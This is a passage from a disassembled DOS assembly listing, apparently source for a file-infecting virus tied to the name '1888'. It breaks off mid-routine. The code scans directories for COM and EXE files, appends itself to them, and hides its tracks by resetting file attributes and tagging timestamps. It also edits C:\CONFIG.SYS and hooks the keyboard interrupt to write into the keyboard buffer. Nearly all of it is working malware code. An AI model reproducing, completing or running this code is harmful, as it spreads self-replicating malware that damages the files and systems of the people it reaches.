int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
jc loc_05BD ; Jump if carry Set
|
|
loc_0564:
|
|
lea dx,data_05C7 ; Load effective addr
|
|
mov cx,27h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_05BD ; Jump if carry Set
|
|
call sub_036C
|
|
xor cx,cx ; Zero register
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
jc loc_05BD ; Jump if carry Set
|
|
mov cx,data_0108
|
|
push es
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
mov es,ax
|
|
xor dx,dx ; Zero register
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
pop ds
|
|
mov dx,ax
|
|
mov ax,0FFFFh
|
|
xor di,di ; Zero register
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
cmp ax,es:[di-1]
|
|
pop es
|
|
jz loc_05BD ; Jump if zero
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
dec dx
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_05BD ; Jump if carry Set
|
|
lea dx,data_05D5 ; Load effective addr
|
|
mov cx,19h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
loc_05BD:
|
|
call sub_037D
|
|
retn
|
|
sub_0525 endp
|
|
|
|
data_05C1 db 43h
|
|
db 3Ah, 5Ch,0FFh,0FFh, 00h
|
|
data_05C7 db 'C:\CONFIG.SYS', 0
|
|
data_05D5 db 'DEVICE ='
|
|
db 0FFh,0FFh
|
|
db ' COUNTRY.SYS', 0Dh, 0Ah
|
|
db 1Ah
|
|
data_05EE db 0FFh
|
|
db 0FFh,0FFh,0FFh, 40h,0C8h, 16h
|
|
db 00h, 21h, 00h
|
|
db 'hgt42 '
|
|
db 00h, 00h, 00h, 00h, 2Eh, 89h
|
|
db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h
|
|
db 14h, 00h,0CBh, 1Eh, 06h, 0Eh
|
|
db 1Fh,0C4h, 3Eh, 12h, 00h, 26h
|
|
db 8Ah, 45h, 02h, 3Ch, 00h, 75h
|
|
db 03h,0E8h, 82h, 00h
|
|
db 0Dh, 00h, 10h, 26h, 89h, 45h
|
|
db 03h, 07h, 1Fh,0CBh, 50h, 53h
|
|
db 51h, 1Eh
|
|
db 0E4h, 60h,0A8h, 80h, 75h, 30h
|
|
db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
|
|
db 0C7h, 75h, 27h,0B8h, 40h, 00h
|
|
db 8Eh,0D8h,0E8h, 28h, 00h, 25h
|
|
db 05h, 00h, 8Bh,0C8h
|
|
db 0BBh, 1Ch, 00h
|
|
|
|
locloop_064F:
|
|
mov ax,cs:data_00A9_e
|
|
mov [bx],ax
|
|
add bx,2
|
|
cmp bx,3Fh
|
|
jb loc_0660 ; Jump if below
|
|
mov bx,1Eh
|
|
loc_0660:
|
|
mov word ptr ds:[1Ch],bx
|
|
loop locloop_064F ; Loop if cx > 0
|
|
|
|
loc_0666:
|
|
pop ds
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp dword ptr cs:data_00A3_e
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_066F proc near
|
|
mov ax,cs:data_00A7_e
|
|
push ax
|
|
and ah,0B4h
|
|
pop ax
|
|
jp loc_067B ; Jump if parity=1
|
|
stc ; Set carry flag
|
|
loc_067B:
|
|
rcl ax,1 ; Rotate thru carry
|
|
mov cs:data_00A7_e,ax
|
|
retn
|
|
sub_066F endp
|
|
|
|
db 'hgt42 '
|
|
db 00h, 56h, 31h, 00h, 46h, 52h
|
|
db 44h, 00h, 00h, 00h, 00h, 00h
|
|
db 00h, 65h, 12h, 65h, 73h, 74h
|
|
db 6Eh, 12h, 1Fh, 14h, 31h,0CDh
|
|
db 0ABh,0EFh
|
|
db 06h, 57h,0B4h, 2Ah,0CDh, 21h
|
|
db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
|
|
db 74h, 03h, 80h,0C4h
|
|
db 0Ch
|
|
loc_06B5:
|
|
sub ah,ds:data_00B5_e
|
|
cmp ah,3
|
|
jb loc_06FB ; Jump if below
|
|
mov ds:data_00B5_e,dh
|
|
mov ds:data_00B3_e,cx
|
|
mov ah,2Ch ; ','
|
|
int 21h ; DOS Services ah=function 2Ch
|
|
; get time, cx=hrs/min, dx=sec
|
|
mov ds:data_00A7_e,dx
|
|
call sub_066F
|
|
mov bx,ax
|
|
and bx,3
|
|
nop ;*ASM fixup - sign extn byte
|
|
mov al,ds:data_00AB_e[bx]
|
|
mov ah,ds:data_00AF_e[bx]
|
|
mov ds:data_00A9_e,ax
|
|
mov ax,3516h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ds:data_00A3_e,bx
|
|
mov bx,es
|
|
mov word ptr ds:data_00A3_e+2,bx
|
|
cli ; Disable interrupts
|
|
;* mov dx,offset loc_003E ;*
|
|
db 0BAh, 3Eh, 00h
|
|
mov ax,2516h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
sti ; Enable interrupts
|
|
loc_06FB:
|
|
pop di
|
|
pop es
|
|
mov word ptr es:[di+0Eh],0B6h
|
|
mov es:[di+10h],cs
|
|
xor ax,ax ; Zero register
|
|
retn
|
|
data_070A dw 11Ch
|
|
data_070C db 8Bh
|
|
db 1Eh, 28h, 01h,0A1h, 26h, 01h
|
|
db 8Eh,0D0h, 8Bh, 26h, 24h, 01h
|
|
dw 0EC83h, 8B04h
|
|
dw 80F4h, 1F3Eh
|
|
dw 1, 2875h
|
|
dw 0BFh, 3601h
|
|
dw 3C89h, 0FB8Bh
|
|
dw 8936h, 27Ch
|
|
dw 0FF33h, 8936h
|
|
dw 47Ch, 0BFh
|
|
dw 8B01h, 2236h
|
|
dw 301h, 8BF7h
|
|
dw 1C0Eh, 8C01h
|
|
dw 8ED8h, 0F3C0h
|
|
dw 0EBA4h, 9016h
|
|
db 8Bh,0FBh, 83h,0C7h, 10h,0A1h
|
|
db 16h, 00h, 03h,0F8h, 36h, 89h
|
|
db 7Ch, 02h, 8Bh, 3Eh, 14h, 00h
|
|
db 36h, 89h
|
|
db 3Ch
|
|
db 8Eh,0DBh, 8Eh,0C3h,0CBh
|
|
loc_0767:
|
|
mov ax,ss
|
|
mov cs:data_0126,ax
|
|
mov cs:data_0124,sp
|
|
mov ax,cs
|
|
mov ss,ax
|
|
mov sp,1F7h
|
|
push ds
|
|
mov ds,ax
|
|
pop ax
|
|
mov data_0128,ax
|
|
call sub_0269
|
|
mov ax,cs
|
|
mov es,ax
|
|
call sub_01F7
|
|
mov dx,offset data_019D
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA(disk xfer area) ds:dx
|
|
call sub_02AF
|
|
call sub_02A5
|
|
jnc loc_079C ; Jump if carry=0
|
|
jmp loc_083A
|
|
loc_079C:
|
|
call sub_0227
|
|
jc loc_07A4 ; Jump if carry Set
|
|
jmp loc_083A
|
|
loc_07A4:
|
|
call sub_023A
|
|
call sub_02D0
|
|
mov data_011E,0
|
|
loc_07AF:
|
|
call sub_0355
|
|
jc loc_0800 ; Jump if carry Set
|
|
loc_07B4:
|
|
cmp data_019C,4
|
|
ja loc_083A ; Jump if above
|
|
call sub_036C
|
|
call sub_034D
|
|
jnc loc_07FA ; Jump if carry=0
|
|
cmp data_010A,4
|
|
ja loc_07FA ; Jump if above
|
|
call sub_03A6
|
|
jc loc_083A ; Jump if carry Set
|
|
cmp data_011E,0
|
|
je loc_07DB ; Jump if equal
|
|
call sub_03BB
|
|
jmp short loc_07DE
|
|
loc_07DB:
|
|
call sub_0472
|
|
loc_07DE:
|
|
call sub_037D
|
|
jc loc_083A ; Jump if carry Set
|
|
inc data_019C
|
|
cmp data_019B,1
|
|
je loc_07FA ; Jump if equal
|
|
call sub_04DE
|
|
jz loc_07FA ; Jump if zero
|
|
call sub_0525
|
|
jc loc_083A ; Jump if carry Set
|
|
jmp short loc_07AF
|
|
loc_07FA:
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_07B4 ; Jump if carry=0
|
|
loc_0800:
|
|
cmp data_011E,1
|
|
je loc_080E ; Jump if equal
|
|
mov data_011E,1
|
|
jmp short loc_07AF
|
|
loc_080E:
|
|
mov data_011E,0
|
|
cmp data_019A,0
|
|
jne loc_0829 ; Jump if not equal
|
|
lea dx,data_015A ; ('C:\') Load effective addr
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
mov data_019A,0FFh
|
|
jmp short loc_07AF
|
|
loc_0829:
|
|
cmp data_0182,0
|
|
je loc_083A ; Jump if equal
|
|
call sub_0328
|
|
dec data_0182
|
|
jmp loc_07AF
|
|
loc_083A:
|
|
lea dx,data_013A ; ('\DANGER\1888') Load effective addr
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
call sub_04DE
|
|
jz loc_084A ; Jump if zero
|
|
call sub_04EE
|
|
loc_084A:
|
|
mov ax,word ptr data_012C+2
|
|
mov es,ax
|
|
mov cx,5Bh
|
|
mov si,offset data_070C
|
|
xor di,di ; Zero register
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
call sub_028C
|
|
call data_012C
|
|
int 20h ; DOS program terminate
|
|
db 0E9h, 64h, 06h, 20h,0A4h, 86h
|
|
db 0FCh, 18h, 02h, 00h, 00h, 00h
|
|
db 31h, 2Eh, 43h, 4Fh, 4Dh, 00h
|
|
db 20h, 20h, 4Dh, 00h, 00h, 00h
|
|
db 0A6h, 24h, 00h, 00h, 60h, 07h
|
|
db 00h, 00h, 60h, 07h, 60h, 07h
|
|
db 0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh
|
|
db 94h, 92h, 00h, 00h, 01h, 9Eh
|
|
db 0C8h, 07h, 07h, 1Ch, 02h, 10h
|
|
db 00h, 00h, 00h, 00h, 5Ch, 00h
|
|
db 4Fh, 53h, 53h, 49h, 00h, 45h
|
|
db 4Eh, 00h
|
|
db 53h, 54h
|
|
db 20 dup (0)
|
|
db 'C:\', 0
|
|
db '*', 0
|
|
db 'NETWARE', 0
|
|
db 'LMS', 0
|
|
db 'MAUS', 0
|
|
db 'MDB', 0
|
|
db 'DOS', 0
|
|
db 'BASE', 0
|
|
db 'L', 0
|
|
db '`'
|
|
db 01h, 00h, 01h, 14h, 17h, 6Eh
|
|
db 00h, 01h,0A9h, 00h, 01h,0BFh
|
|
db 38h, 2Ah, 2Eh, 65h, 78h, 65h
|
|
db 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
|
|
db 00h, 00h, 00h, 04h, 01h
|
|
db 3Fh
|
|
db 7 dup (3Fh)
|
|
db 43h, 4Fh, 4Dh, 23h, 0Ah, 00h
|
|
db 00h, 00h, 31h,0C0h, 50h, 9Ah
|
|
db 20h,0A4h, 86h,0FCh, 18h, 02h
|
|
db 00h, 00h, 00h, 31h, 2Eh, 43h
|
|
db 4Fh, 4Dh, 00h, 20h, 20h, 4Dh
|
|
db 00h, 00h, 00h,0A6h,0EAh,0AAh
|
|
db 03h, 00h,0CCh,0AAh, 03h, 00h
|
|
db 00h, 31h, 31h, 00h, 40h, 48h
|
|
db 07h, 00h, 40h, 6Ch, 15h, 6Ch
|
|
db 15h, 00h, 40h, 05h, 00h, 60h
|
|
db 07h, 00h, 01h,0C8h, 01h, 19h
|
|
db 01h, 82h, 08h, 6Ch, 0Dh, 6Ch
|
|
db 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h
|
|
db 72h,0DEh, 07h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0959 proc near
|
|
cmp data_011C,0
|
|
jne loc_0969 ; Jump if not equal
|
|
mov ax,760h
|
|
mov data_011C,ax
|
|
mov data_0120,ax
|
|
loc_0969:
|
|
mov al,data_011E
|
|
mov data_011F,al
|
|
mov ax,data_0120
|
|
mov data_0122,ax
|
|
inc data_0119
|
|
mov data_019C,0
|
|
mov data_019A,0
|
|
mov data_019B,0
|
|
retn
|
|
sub_0959 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0989 proc near
|
|
lea dx,data_0183 ; Load effective addr
|
|
xor al,al ; Zero register
|
|
mov ah,3Dh ; '='
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jc loc_ret_099B ; Jump if carry Set
|
|
mov bx,ax
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
|
|
loc_ret_099B:
|
|
retn
|
|
sub_0989 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_099C proc near
|
|
mov ah,2Ah ; '*'
|
|
int 21h ; DOS Services ah=function 2Ah
|
|
; get date, cx=year, dh=month
|
|
; dl=day, al=day-of-week 0=SUN
|
|
mov ah,dh
|
|
cmp cx,data_0130
|
|
je loc_09AB ; Jump if equal
|
|
add ah,0Ch
|
|
loc_09AB:
|
|
sub ah,data_0132
|
|
mov data_011B,ah
|
|
mov data_0134,al
|
|
mov data_0133,dl
|
|
mov data_0132,dh
|
|
mov data_0130,cx
|
|
mov ah,2Ch ; ','
|
|
int 21h ; DOS Services ah=function 2Ch
|
|
; get time, cx=hrs/min, dx=sec
|
|
mov data_0135,ch
|
|
retn
|
|
sub_099C endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_09CB proc near
|
|
mov ax,es
|
|
dec ax
|
|
push es
|
|
mov es,ax
|
|
mov ax,es:d_8B38_0003_e
|
|
mov data_012A,ax
|
|
pop es
|
|
mov bx,ax
|
|
sub bx,200h
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change memory allocation
|
|
; bx=bytes/16, es=mem segment
|
|
mov bx,150h
|
|
mov ah,48h ; 'H'
|
|
int 21h ; DOS Services ah=function 48h
|
|
; allocate memory, bx=bytes/16
|
|
mov word ptr data_012C+2,ax
|
|
retn
|
|
sub_09CB endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_09EE proc near
|
|
push es
|
|
mov ax,word ptr data_012C+2
|
|
mov es,ax
|
|
mov ah,49h ; 'I'
|
|
int 21h ; DOS Services ah=function 49h
|
|
; release memory block, es=seg
|
|
mov ax,data_0128
|
|
mov es,ax
|
|
mov bx,data_012A
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change memory allocation
|
|
; bx=bytes/16, es=mem segment
|
|
pop es
|
|
retn
|
|
sub_09EE endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0A07 proc near
|
|
push ds
|
|
mov ah,1Bh
|
|
int 21h ; DOS Services ah=function 1Bh
|
|
; get disk info, default drive
|
|
; al=sectors per cluster
|
|
; ds:bx=ptr to media ID byte
|
|
; cx=sector size, dx=clusters
|
|
cmp byte ptr [bx],0F8h
|
|
pop ds
|
|
retn
|
|
sub_0A07 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0A11 proc near
|
|
lea si,data_019D ; Load effective addr
|
|
mov di,si
|
|
xor dl,dl ; Zero register
|
|
mov ah,47h ; 'G'
|
|
int 21h ; DOS Services ah=function 47h
|
|
; get present dir,drive dl,1=a:
|
|
; ds:si=ASCIIZ directory name
|
|
mov cx,30h
|
|
mov al,0
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
mov cx,di
|
|
sub cx,si
|
|
lea di,data_013A ; ('\DANGER\1888') Load effective addr
|
|
mov al,5Ch ; '\'
|
|
stosb ; Store al to es:[di]
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_0A11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0A32 proc near
|
|
mov data_0182,0
|
|
lea bx,cs:[160h] ; Load effective addr
|
|
add bx,20h
|
|
mov data_0180,bx
|
|
sub bx,20h
|
|
lea dx,data_015A+4 ; ('*') Load effective addr
|
|
mov cx,33h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_0A81 ; Jump if carry Set
|
|
loc_0A52:
|
|
lea di,data_019D ; Load effective addr
|
|
add di,1Eh
|
|
cmp byte ptr [di],2Eh ; '.'
|
|
je loc_0A7B ; Jump if equal
|
|
mov si,di
|
|
mov cx,20h
|
|
mov al,0
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
mov cx,di
|
|
sub cx,si
|
|
mov di,bx
|
|
add bx,cx
|
|
cmp bx,data_0180
|
|
ja loc_0A81 ; Jump if above
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
inc data_0182
|
|
loc_0A7B:
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_0A52 ; Jump if carry=0
|
|
loc_0A81:
|
|
lea bx,cs:[160h] ; Load effective addr
|
|
mov data_0180,bx
|
|
retn
|
|
sub_0A32 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0A8A proc near
|
|
cmp data_0182,0
|
|
je loc_ret_0AAE ; Jump if equal
|
|
lea dx,data_013A ; ('\DANGER\1888') Load effective addr
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
mov dx,data_0180
|
|
mov di,dx
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
mov al,0
|
|
mov cx,20h
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
mov data_0180,di
|
|
|
|
loc_ret_0AAE:
|
|
retn
|
|
sub_0A8A endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0AAF proc near
|
|
mov ax,data_0104
|
|
and al,1Fh
|
|
cmp al,1Eh
|
|
retn
|
|
sub_0AAF endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0AB7 proc near
|
|
lea dx,data_0194 ; Load effective addr
|
|
cmp data_011E,0
|
|
je loc_0AC6 ; Jump if equal
|
|
lea dx,data_018E ; Load effective addr
|
|
loc_0AC6:
|
|
mov cx,23h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
retn
|
|
sub_0AB7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0ACE proc near
|
|
lea si,data_019D ; Load effective addr
|
|
add si,15h
|
|
lea di,data_0103 ; Load effective addr
|
|
mov cx,16h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_0ACE endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0ADF proc near
|
|
pushf ; Push flags
|
|
mov cx,data_0104
|
|
or cl,1Fh
|
|
and cl,0FEh
|
|
mov dx,data_0106
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; set file date+time, bx=handle
|
|
; cx=time, dx=time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
lea dx,data_010C ; ('1888.COM') Load effective addr
|
|
xor ch,ch ; Zero register
|
|
mov cl,data_0103
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
popf ; Pop flags
|
|
retn
|
|
sub_0ADF endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0B08 proc near
|
|
lea dx,data_010C ; ('1888.COM') Load effective addr
|
|
xor cx,cx ; Zero register
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
jc loc_ret_0B1C ; Jump if carry Set
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
|
|
loc_ret_0B1C:
|
|
retn
|
|
sub_0B08 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0B1D proc near
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
mov cx,100h
|
|
xor dx,dx ; Zero register
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
cmp word ptr ds:d_9E01_0000_e,5A4Dh
|
|
nop ;*ASM fixup - sign extn byte
|
|
je loc_0B38 ; Jump if equal
|
|
stc ; Set carry flag
|
|
jmp loc_0BB7
|
|
loc_0B38:
|
|
call sub_0BB9
|
|
push ax
|
|
mov ax,di
|
|
and ax,0Fh
|
|
mov cx,10h
|
|
xor dx,dx ; Zero register
|
|
sub cx,ax
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
jnc loc_0B51 ; Jump if carry=0
|
|
jmp short loc_0BB7
|
|
db 90h
|
|
loc_0B51:
|
|
